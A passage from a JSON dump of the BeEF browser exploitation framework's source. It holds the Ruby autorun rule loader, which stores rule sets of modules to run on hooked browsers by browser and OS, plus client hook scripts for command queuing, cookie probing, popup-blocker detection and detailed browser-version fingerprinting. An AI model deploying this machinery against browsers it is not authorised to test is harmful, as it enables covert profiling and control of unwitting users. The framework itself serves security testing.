end\n\n              opt_count += 1\n            end\n          end\n\n          true\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/autorun_engine/rule_loader.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module AutorunEngine\n      class RuleLoader\n        include Singleton\n\n        def initialize\n          @config = BeEF::Core::Configuration.instance\n          @debug_on = @config.get('beef.debug')\n        end\n\n        # Load an ARE rule set\n        # @param [Hash] ARE ruleset as JSON\n        # @return [Hash] {\"success\": Boolean, \"rule_id\": Integer, \"error\": String}\n        def load_rule_json(data)\n          name = data['name'] || ''\n          author = data['author'] || ''\n          browser = data['browser'] || 'ALL'\n          browser_version = data['browser_version'] || 'ALL'\n          os = data['os'] || 'ALL'\n          os_version = data['os_version'] || 'ALL'\n          modules = data['modules']\n          execution_order = data['execution_order']\n          execution_delay = data['execution_delay']\n          chain_mode = data['chain_mode'] || 'sequential'\n\n          begin\n            BeEF::Core::AutorunEngine::Parser.instance.parse(\n              name,\n              author,\n              browser,\n              browser_version,\n              os,\n              os_version,\n              modules,\n              execution_order,\n              execution_delay,\n              chain_mode\n            )\n          rescue => e\n            print_error(\"[ARE] Error loading ruleset (#{name}): #{e.message}\")\n            return { 'success' => false, 'error' => e.message }\n          end\n\n          existing_rule = BeEF::Core::Models::Rule.where(\n            name: name,\n            author: author,\n            browser: browser,\n            browser_version: browser_version,\n            os: os,\n            os_version: os_version,\n            modules: modules.to_json,\n            execution_order: execution_order.to_s,\n            execution_delay: execution_delay.to_s,\n            chain_mode: chain_mode\n          ).first\n\n          unless existing_rule.nil?\n            msg = \"Duplicate rule already exists in the database (ID: #{existing_rule.id})\"\n            print_info(\"[ARE] Skipping ruleset (#{name}): #{msg}\")\n            return { 'success' => false, 'error' => msg }\n          end\n\n          are_rule = BeEF::Core::Models::Rule.new(\n            name: name,\n            author: author,\n            browser: browser,\n            browser_version: browser_version,\n            os: os,\n            os_version: os_version,\n            modules: modules.to_json,\n            execution_order: execution_order.to_s,\n            execution_delay: execution_delay.to_s,\n            chain_mode: chain_mode\n          )\n          are_rule.save\n\n          print_info(\"[ARE] Ruleset (#{name}) parsed and stored successfully.\")\n\n          if @debug_on\n            print_more \"Target Browser: #{browser} (#{browser_version})\"\n            print_more \"Target OS: #{os} (#{os_version})\"\n            print_more 'Modules to run:'\n            modules.each do |mod|\n              print_more \"(*) Name: #{mod['name']}\"\n              print_more \"(*) Condition: #{mod['condition']}\"\n              print_more \"(*) Code: #{mod['code']}\"\n              print_more '(*) Options:'\n              mod['options'].each do |key, value|\n                print_more \"\\t#{key}: (#{value})\"\n              end\n            end\n            print_more \"Exec order: #{execution_order}\"\n            print_more \"Exec delay: #{exec_delay}\"\n          end\n\n          { 'success' => true, 'rule_id' => are_rule.id }\n        rescue TypeError, ArgumentError => e\n          print_error(\"[ARE] Failed to load ruleset (#{name}): #{e.message}\")\n          { 'success' => false, 'error' => e.message }\n        end\n\n        # Update an ARE rule set.\n        # @param [Hash] ARE rule ID.\n        # @param [Hash] ARE ruleset as JSON\n        # @return [Hash] {\"success\": Boolean, \"rule_id\": Integer, \"error\": String}\n        def update_rule_json(id, data)\n          # Quite similar in implementation to load_rule_json. Might benefit from a refactor.\n          name = data['name'] || ''\n          author = data['author'] || ''\n          browser = data['browser'] || 'ALL'\n          browser_version = data['browser_version'] || 'ALL'\n          os = data['os'] || 'ALL'\n          os_version = data['os_version'] || 'ALL'\n          modules = data['modules']\n          execution_order = data['execution_order']\n          execution_delay = data['execution_delay']\n          chain_mode = data['chain_mode'] || 'sequential'\n\n          begin\n            BeEF::Core::AutorunEngine::Parser.instance.parse(\n              name,\n              author,\n              browser,\n              browser_version,\n              os,\n              os_version,\n              modules,\n              execution_order,\n              execution_delay,\n              chain_mode\n            )\n          rescue => e\n            print_error(\"[ARE] Error updating ruleset (#{name}): #{e.message}\")\n            return { 'success' => false, 'error' => e.message }\n          end\n\n          existing_rule = BeEF::Core::Models::Rule.where(\n            name: name,\n            author: author,\n            browser: browser,\n            browser_version: browser_version,\n            os: os,\n            os_version: os_version,\n            modules: modules.to_json,\n            execution_order: execution_order.to_s,\n            execution_delay: execution_delay.to_s,\n            chain_mode: chain_mode\n          ).first\n\n          unless existing_rule.nil?\n            msg = \"Duplicate rule already exists in the database (ID: #{existing_rule.id})\"\n            print_info(\"[ARE] Skipping ruleset (#{name}): #{msg}\")\n            return { 'success' => false, 'error' => msg }\n          end\n          old_are_rule = BeEF::Core::Models::Rule.find_by(id: id)\n\n          old_are_rule.update(\n            name: name,\n            author: author,\n            browser: browser,\n            browser_version: browser_version,\n            os: os,\n            os_version: os_version,\n            modules: modules.to_json,\n            execution_order: execution_order.to_s,\n            execution_delay: execution_delay.to_s,\n            chain_mode: chain_mode\n          )\n\n          print_info(\"[ARE] Ruleset (#{name}) updated successfully.\")\n\n          if @debug_on\n            print_more \"Target Browser: #{browser} (#{browser_version})\"\n            print_more \"Target OS: #{os} (#{os_version})\"\n            print_more 'Modules to run:'\n            modules.each do |mod|\n              print_more \"(*) Name: #{mod['name']}\"\n              print_more \"(*) Condition: #{mod['condition']}\"\n              print_more \"(*) Code: #{mod['code']}\"\n              print_more '(*) Options:'\n              mod['options'].each do |key, value|\n                print_more \"\\t#{key}: (#{value})\"\n              end\n            end\n            print_more \"Exec order: #{execution_order}\"\n            print_more \"Exec delay: #{exec_delay}\"\n          end\n\n          { 'success' => true }\n        rescue TypeError, ArgumentError => e\n          print_error(\"[ARE] Failed to update ruleset (#{name}): #{e.message}\")\n          { 'success' => false, 'error' => e.message }\n        end\n\n        # Load an ARE ruleset from file\n        # @param [String] JSON ARE ruleset file path\n        def load_rule_file(json_rule_path)\n          rule_file = File.open(json_rule_path, 'r:UTF-8', &:read)\n          self.load_rule_json(JSON.parse(rule_file))\n        rescue => e\n          print_error(\"[ARE] Failed to load ruleset from #{json_rule_path}: #{e.message}\")\n        end\n\n        # Load all JSON ARE rule files from arerules/enabled/ directory\n        def load_directory\n          Dir.glob(\"#{$root_dir}/arerules/enabled/**/*.json\") do |rule_file|\n            print_debug(\"[ARE] Processing ruleset file: #{rule_file}\")\n            load_rule_file(rule_file)\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/client/are.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/** \n * A series of functions that handle statuses, returns a number based on the function called.\n * @namespace beef.are\n */\n\nbeef.are = {\n  /**\n   * A function for handling a success status\n   * @memberof beef.are\n   * @method status_success \n   * @return {number} 1\n   */\n  status_success: function(){\n    return 1;\n  },\n  /**\n   * A function for handling an unknown status\n   * @memberof beef.are\n   * @method status_unknown \n   * @return {number} 0\n   */  \n  status_unknown: function(){\n    return 0;\n  },\n  /**\n   * A function for handling an error status\n   * @memberof beef.are\n   * @method status_error \n   * @return {number} -1\n   */  \n  status_error: function(){\n    return -1;\n  }\n};\nbeef.regCmp(\"beef.are\");\n"
  },
  {
    "path": "core/main/client/beef.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/*!\n * BeEF JS Library <%= @beef_version %>\n * Register the BeEF JS on the window object.\n */\n\n$j = jQuery.noConflict();\n\nif(typeof beef === 'undefined' && typeof window.beef === 'undefined') {\n\n    /**\n     * Register the BeEF JS on the window object.\n     * @namespace {Object} BeefJS \n     * @property {string} version BeEf Version\n     * @property {boolean} pageIsLoaded This gets set to true during window.onload(). It's a useful hack when messing with document.write().\n     * @property {array} onpopstate An array containing functions to be executed by the window.onpopstate() method.\n     * @property {array} onclose An array containing functions to be executed by the window.onclose() method.\n     * @property {array} commands An array containing functions to be executed by Beef.\n     * @property {array} components An array containing all the BeEF JS components.\n     */\n\n    var BeefJS = {\n        \n        version: '<%= @beef_version %>',\n        pageIsLoaded: false,\n        onpopstate: new Array(),\n        onclose: new Array(),\n        commands: new Array(),\n        components: new Array(),\n\n        /**\n         * Adds a function to display debug messages (wraps console.log())\n         * @param: {string} the debug string to return\n         */\n        debug: function(msg) {\n            isDebug = '<%= @client_debug %>'\n            if (typeof console == \"object\" && typeof console.log == \"function\" && isDebug === 'true') {\n                var currentdate = new Date();\n                var pad = function(n){return (\"0\" + n).slice(-2);}\n                var datetime = currentdate.getFullYear() + \"-\"\n                + pad(currentdate.getMonth()+1)  + \"-\"\n                + pad(currentdate.getDate()) + \" \"\n                + pad(currentdate.getHours()) + \":\"\n                + pad(currentdate.getMinutes()) + \":\"\n                + pad(currentdate.getSeconds());\n                console.log('['+datetime+'] '+msg);\n            } else {\n                // TODO: maybe add a callback to BeEF server for debugging purposes\n                //window.alert(msg);\n            }\n        },\n\n        /**\n        * Adds a function to execute.\n        * @param: {Function} the function to execute.\n        */\n        execute: function(fn) {\n                if ( typeof  beef.websocket == \"undefined\"){\n                    this.commands.push(fn);\n                }else{\n                    fn();\n                }\n        },\n\n       /**\n        * Registers a component in BeEF JS.\n        * @params: {String} the component.\n        *\n        * Components are very important to register so the framework does not\n        * send them back over and over again.\n        */\n        regCmp: function(component) {\n                this.components.push(component);\n        }\n\n    };\n\n    window.beef = BeefJS;\n}\n"
  },
  {
    "path": "core/main/client/browser/cookie.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides fuctions for working with cookies. \n * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php\n * Original author unknown.\n * @namespace beef.browser.cookie\n */\nbeef.browser.cookie = {\n\t\n\t\t/** @memberof beef.browser.cookie */\n\t\tsetCookie: function (name, value, expires, path, domain, secure) \n\t\t{\n\t\n\t\t\tvar today = new Date();\n\t\t\ttoday.setTime( today.getTime() );\n\t\n\t\t\tif ( expires )\n\t\t\t{\n\t\t\t\texpires = expires * 1000 * 60 * 60 * 24;\n\t\t\t}\n\t\t\tvar expires_date = new Date( today.getTime() + (expires) );\n\t\n\t\t\tdocument.cookie = name + \"=\" +escape( value ) +\n\t\t\t\t( ( expires ) ? \";expires=\" + expires_date.toGMTString() : \"\" ) +\n\t\t\t\t( ( path ) ? \";path=\" + path : \"\" ) +\n\t\t\t\t( ( domain ) ? \";domain=\" + domain : \"\" ) +\n\t\t\t\t( ( secure ) ? \";secure\" : \"\" );\n\t\t},\n\t\t/** @memberof beef.browser.cookie */\n\t\tgetCookie: function(name) \n\t\t{\n\t\t\tvar a_all_cookies = document.cookie.split( ';' );\n\t\t\tvar a_temp_cookie = '';\n\t\t\tvar cookie_name = '';\n\t\t\tvar cookie_value = '';\n\t\t\tvar b_cookie_found = false;\n\t\t\t\n\t\t\tfor ( i = 0; i < a_all_cookies.length; i++ )\n\t\t\t{\n\t\t\t\ta_temp_cookie = a_all_cookies[i].split( '=' );\n\t\t\t\tcookie_name = a_temp_cookie[0].replace(/^\\s+|\\s+$/g, '');\n\t\t\t\tif ( cookie_name == name )\n\t\t\t\t{\n\t\t\t\t\tb_cookie_found = true;\n\t\t\t\t\tif ( a_temp_cookie.length > 1 )\n\t\t\t\t\t{\n\t\t\t\t\t\tcookie_value = unescape( a_temp_cookie[1].replace(/^\\s+|\\s+$/g, '') );\n\t\t\t\t\t}\n\t\t\t\t\treturn cookie_value;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\ta_temp_cookie = null;\n\t\t\t\tcookie_name = '';\n\t\t\t}\n\t\t\tif ( !b_cookie_found )\n\t\t\t{\n\t\t\t\treturn null;\n\t\t\t}\n\t\t},\n\t\t/** @memberof beef.browser.cookie */\n\t\tdeleteCookie: function (name, path, domain) \n\t\t{\n\t\t\tif ( this.getCookie(name) ) document.cookie = name + \"=\" +\n\t\t\t( ( path ) ? \";path=\" + path : \"\") +\n\t\t\t( ( domain ) ? \";domain=\" + domain : \"\" ) +\n\t\t\t\";expires=Thu, 01-Jan-1970 00:00:01 GMT\";\n\t\t},\n\n\t    /** @memberof beef.browser.cookie */\n\t\tcookieValueRandomizer: function (){\n\t\t\tvar to_hell= '';\n\t\t\tvar min = 17;\n\t\t\tvar max = 25;\n\t\t\tvar lol_length = Math.floor(Math.random() * (max - min + 1)) + min;\n\n\t\t\tvar grunt = function(){\n\t\t\t\tvar moo = Math.floor(Math.random() * 62);\n\t\t\t\tvar char = '';\n\t\t\t\tif(moo < 36){\n\t\t\t\t\tchar = String.fromCharCode(moo + 55);\n\t\t\t\t}else{\n\t\t\t\t\tchar = String.fromCharCode(moo + 61);\n\t\t\t\t}\n\t\t\t\tif(char != ';' && char != '='){\n\t\t\t\t\treturn char;\n\t\t\t\t}else{\n\t\t\t\t\treturn 'x';\n\t\t\t\t}\n\t\t\t};\n\n\t\t\twhile(to_hell.length < lol_length){\n\t\t\t\tto_hell += grunt();\n\t\t\t}\n\t\t\treturn to_hell;\n\t\t},\n\t\t/** @memberof beef.browser.cookie */\n\t\thasSessionCookies: function (name){\n\t\t\tthis.setCookie( name, beef.browser.cookie.cookieValueRandomizer(), '', '/', '', '' );\n\n\t\t\tcookiesEnabled = (this.getCookie(name) == null)? false:true;\n\t\t\tthis.deleteCookie(name, '/', '');\n\t\t\treturn cookiesEnabled;\n\t\t\t\n\t\t},\n\t\t/** @memberof beef.browser.cookie */\n\t\thasPersistentCookies: function (name){\n\t\t\tthis.setCookie( name, beef.browser.cookie.cookieValueRandomizer(), 1, '/', '', '' );\n\n\t\t\tcookiesEnabled = (this.getCookie(name) == null)? false:true;\n\t\t\tthis.deleteCookie(name, '/', '');\n\t\t\treturn cookiesEnabled;\n\t\t\t\n\t\t}\t\n\t\t\t\t\t\n};\n\nbeef.regCmp('beef.browser.cookie');"
  },
  {
    "path": "core/main/client/browser/popup.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides fuctions for working with cookies. \n * Several functions adopted from http://davidwalsh.name/popup-block-javascript\n * Original author unknown.\n * @namespace beef.browser.popup\n */\nbeef.browser.popup = {\n\t\t/** @memberof beef.browser.popup */\n\t\tblocker_enabled: function ()\n\t\t{\n\t\t\tscreenParams = beef.hardware.getScreenSize();\n\t\t\tvar popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');\n\t\t\tif (popUp == null || typeof(popUp)=='undefined') {   \n\t\t\t  \treturn true;\n\t\t\t} else {   \n\t\t\t\tpopUp.close();\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n};\n\nbeef.regCmp('beef.browser.popup');\n"
  },
  {
    "path": "core/main/client/browser.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Basic browser functions.\n * @namespace beef.browser\n */\nbeef.browser = {\n\n    /**\n     * Returns the protocol.\n     * @example: beef.browser.getProtocol()\n     */\n    getProtocol: function() {\n        return document.location.protocol;\n    },\n\n    /**\n     * Returns the user agent that the browser is claiming to be.\n     * @example: beef.browser.getBrowserReportedName()\n     */\n    getBrowserReportedName: function () {\n        return navigator.userAgent;\n    },\n\n    /**\n     * Returns the underlying layout engine in use by the browser.\n     * @example: beef.browser.getBrowserEngine()\n     */\n    getBrowserEngine: function() {\n      try {\n        var engine = platform.layout;\n        if (!!engine)\n          return engine;\n      } catch (e) {}\n      return 'unknown';\n    },\n\n    /**\n     * Returns true if Avant Browser.\n     * @example: beef.browser.isA()\n     */\n    isA: function () {\n        return window.navigator.userAgent.match(/Avant TriCore/) != null;\n    },\n\n    /**\n     * Returns true if Iceweasel.\n     * @example: beef.browser.isIceweasel()\n     */\n    isIceweasel: function () {\n        return window.navigator.userAgent.match(/Iceweasel\\/\\d+\\.\\d/) != null;\n    },\n\n    /**\n     * Returns true if Midori.\n     * @example: beef.browser.isMidori()\n     */\n    isMidori: function () {\n        return window.navigator.userAgent.match(/Midori\\/\\d+\\.\\d/) != null;\n    },\n\n    /**\n     * Returns true if Odyssey\n     * @example: beef.browser.isOdyssey()\n     */\n    isOdyssey: function () {\n        return (window.navigator.userAgent.match(/Odyssey Web Browser/) != null && window.navigator.userAgent.match(/OWB\\/\\d+\\.\\d/) != null);\n    },\n\n    /**\n     * Returns true if Brave\n     * @example: beef.browser.isBrave()\n     */\n    isBrave: function(){\n        return (window.navigator.userAgent.match(/brave\\/\\d+\\.\\d/) != null && window.navigator.userAgent.match(/Brave\\/\\d+\\.\\d/) != null);\n    },\n\n    /**\n     * Returns true if IE6.\n     * @example: beef.browser.isIE6()\n     */\n    isIE6: function () {\n        return !window.XMLHttpRequest && !window.globalStorage;\n    },\n\n    /**\n     * Returns true if IE7.\n     * @example: beef.browser.isIE7()\n     */\n    isIE7: function () {\n        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage && !document.documentMode;\n    },\n\n    /**\n     * Returns true if IE8.\n     * @example: beef.browser.isIE8()\n     */\n    isIE8: function () {\n        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance;\n    },\n\n    /**\n     * Returns true if IE9.\n     * @example: beef.browser.isIE9()\n     */\n    isIE9: function () {\n        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints === \"undefined\";\n    },\n\n    /**\n     *\n     * Returns true if IE10.\n     * @example: beef.browser.isIE10()\n     */\n    isIE10: function () {\n        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance && typeof navigator.msMaxTouchPoints !== \"undefined\";\n    },\n\n    /**\n     *\n     * Returns true if IE11.\n     * @example: beef.browser.isIE11()\n     */\n    isIE11: function () {\n        return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.performance && typeof navigator.msMaxTouchPoints !== \"undefined\" && typeof document.selection === \"undefined\" && typeof document.createStyleSheet === \"undefined\" && typeof window.createPopup === \"undefined\" && typeof window.XDomainRequest === \"undefined\";\n    },\n\n    /**\n     *\n     * Returns true if Edge.\n     * @example: beef.browser.isEdge()\n     */\n    isEdge: function () {\n        return !beef.browser.isIE() && !!window.styleMedia && (/Edg\\/\\d+\\.\\d/.test(window.navigator.userAgent) || /Edge\\/\\d+\\.\\d/.test(window.navigator.userAgent));\n    },\n\n    /**\n     * Returns true if IE.\n     * @example: beef.browser.isIE()\n     */\n    isIE: function () {\n        return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10() || this.isIE11();\n    },\n\n    /**\n     * Returns true if FF2.\n     * @example: beef.browser.isFF2()\n     */\n    isFF2: function () {\n        return !!window.globalStorage && !window.postMessage;\n    },\n\n    /**\n     * Returns true if FF3.\n     * @example: beef.browser.isFF3()\n     */\n    isFF3: function () {\n        return !!window.globalStorage && !!window.postMessage && !JSON.parse;\n    },\n\n    /**\n     * Returns true if FF3.5.\n     * @example: beef.browser.isFF3_5()\n     */\n    isFF3_5: function () {\n        return !!window.globalStorage && !!JSON.parse && !window.FileReader;\n    },\n\n    /**\n     * Returns true if FF3.6.\n     * @example: beef.browser.isFF3_6()\n     */\n    isFF3_6: function () {\n        return !!window.globalStorage && !!window.FileReader && !window.multitouchData && !window.history.replaceState;\n    },\n\n    /**\n     * Returns true if FF4.\n     * @example: beef.browser.isFF4()\n     */\n    isFF4: function () {\n        return !!window.globalStorage && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\\/4\\./) != null;\n    },\n\n    /**\n     * Returns true if FF5.\n     * @example: beef.browser.isFF5()\n     */\n    isFF5: function () {\n        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\\/5\\./) != null;\n    },\n\n    /**\n     * Returns true if FF6.\n     * @example: beef.browser.isFF6()\n     */\n    isFF6: function () {\n        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\\/6\\./) != null;\n    },\n\n    /**\n     * Returns true if FF7.\n     * @example: beef.browser.isFF7()\n     */\n    isFF7: function () {\n        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\\/7\\./) != null;\n    },\n\n    /**\n     * Returns true if FF8.\n     * @example: beef.browser.isFF8()\n     */\n    isFF8: function () {\n        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\\/8\\./) != null;\n    },\n\n    /**\n     * Returns true if FF9.\n     * @example: beef.browser.isFF9()\n     */\n    isFF9: function () {\n        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\\/9\\./) != null;\n    },\n\n    /**\n     * Returns true if FF10.\n     * @example: beef.browser.isFF10()\n     */\n    isFF10: function () {\n        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\\/10\\./) != null;\n    },\n\n    /**\n     * Returns true if FF11.\n     * @example: beef.browser.isFF11()\n     */\n    isFF11: function () {\n        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\\/11\\./) != null;\n    },\n\n    /**\n     * Returns true if FF12\n     * @example: beef.browser.isFF12()\n     */\n    isFF12: function () {\n        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\\/12\\./) != null;\n    },\n\n    /**\n     * Returns true if FF13\n     * @example: beef.browser.isFF13()\n     */\n    isFF13: function () {\n        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\\/13\\./) != null;\n    },\n\n    /**\n     * Returns true if FF14\n     * @example: beef.browser.isFF14()\n     */\n    isFF14: function () {\n        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\\/14\\./) != null;\n    },\n\n    /**\n     * Returns true if FF15\n     * @example: beef.browser.isFF15()\n     */\n    isFF15: function () {\n        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\\/15\\./) != null;\n    },\n\n    /**\n     * Returns true if FF16\n     * @example: beef.browser.isFF16()\n     */\n    isFF16: function () {\n        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\\/16\\./) != null;\n    },\n\n    /**\n     * Returns true if FF17\n     * @example: beef.browser.isFF17()\n     */\n    isFF17: function () {\n        return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\\/17\\./) != null;\n    },\n\n    /**\n     * Returns true if FF18\n     * @example: beef.browser.isFF18()\n     */\n    isFF18: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\\/18\\./) != null;\n    },\n\n    /**\n     * Returns true if FF19\n     * @example: beef.browser.isFF19()\n     */\n    isFF19: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && window.navigator.userAgent.match(/Firefox\\/19\\./) != null;\n    },\n\n    /**\n     * Returns true if FF20\n     * @example: beef.browser.isFF20()\n     */\n    isFF20: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && window.navigator.userAgent.match(/Firefox\\/20\\./) != null;\n    },\n\n    /**\n     * Returns true if FF21\n     * @example: beef.browser.isFF21()\n     */\n    isFF21: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && window.navigator.userAgent.match(/Firefox\\/21\\./) != null;\n    },\n\n    /**\n     * Returns true if FF22\n     * @example: beef.browser.isFF22()\n     */\n    isFF22: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && window.navigator.userAgent.match(/Firefox\\/22\\./) != null;\n    },\n\n    /**\n     * Returns true if FF23\n     * @example: beef.browser.isFF23()\n     */\n    isFF23: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && window.navigator.userAgent.match(/Firefox\\/23\\./) != null;\n    },\n\n    /**\n     * Returns true if FF24\n     * @example: beef.browser.isFF24()\n     */\n    isFF24: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && window.navigator.userAgent.match(/Firefox\\/24\\./) != null;\n    },\n\n    /**\n     * Returns true if FF25\n     * @example: beef.browser.isFF25()\n     */\n    isFF25: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && window.navigator.userAgent.match(/Firefox\\/25\\./) != null;\n    },\n\n    /**\n     * Returns true if FF26\n     * @example: beef.browser.isFF26()\n     */\n    isFF26: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && window.navigator.userAgent.match(/Firefox\\/26./) != null;\n    },\n\n    /**\n     * Returns true if FF27\n     * @example: beef.browser.isFF27()\n     */\n    isFF27: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && window.navigator.userAgent.match(/Firefox\\/27./) != null;\n    },\n\n    /**\n     * Returns true if FF28\n     * @example: beef.browser.isFF28()\n     */\n    isFF28: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt !== 'function' && window.navigator.userAgent.match(/Firefox\\/28./) != null;\n    },\n\n    /**\n     * Returns true if FF29\n     * @example: beef.browser.isFF29()\n     */\n    isFF29: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\\/29./) != null;\n    },\n\n    /**\n     * Returns true if FF30\n     * @example: beef.browser.isFF30()\n     */\n    isFF30: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\\/30./) != null;\n    },\n\n    /**\n     * Returns true if FF31\n     * @example: beef.browser.isFF31()\n     */\n    isFF31: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && window.navigator.userAgent.match(/Firefox\\/31./) != null;\n    },\n\n    /**\n     * Returns true if FF32\n     * @example: beef.browser.isFF32()\n     */\n    isFF32: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/32./) != null;\n    },\n\n    /**\n     * Returns true if FF33\n     * @example: beef.browser.isFF33()\n     */\n    isFF33: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/33./) != null;\n    },\n\n    /**\n     * Returns true if FF34\n     * @example: beef.browser.isFF34()\n     */\n    isFF34: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/34./) != null;\n    },\n\n    /**\n     * Returns true if FF35\n     * @example: beef.browser.isFF35()\n     */\n    isFF35: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && typeof window.crypto.getRandomValues != \"undefined\") && typeof Math.hypot == 'function' && typeof String.prototype.codePointAt === 'function' && typeof Number.isSafeInteger === 'function' && window.navigator.userAgent.match(/Firefox\\/35./) != null;\n    },\n\n    /**\n     * Returns true if FF36\n     * @example: beef.browser.isFF36()\n     */\n    isFF36: function () {\n        return !!window.devicePixelRatio && !!window.history.replaceState && typeof navigator.mozGetUserMedia != \"undefined\" && (typeof window.crypto != \"undefined\" && 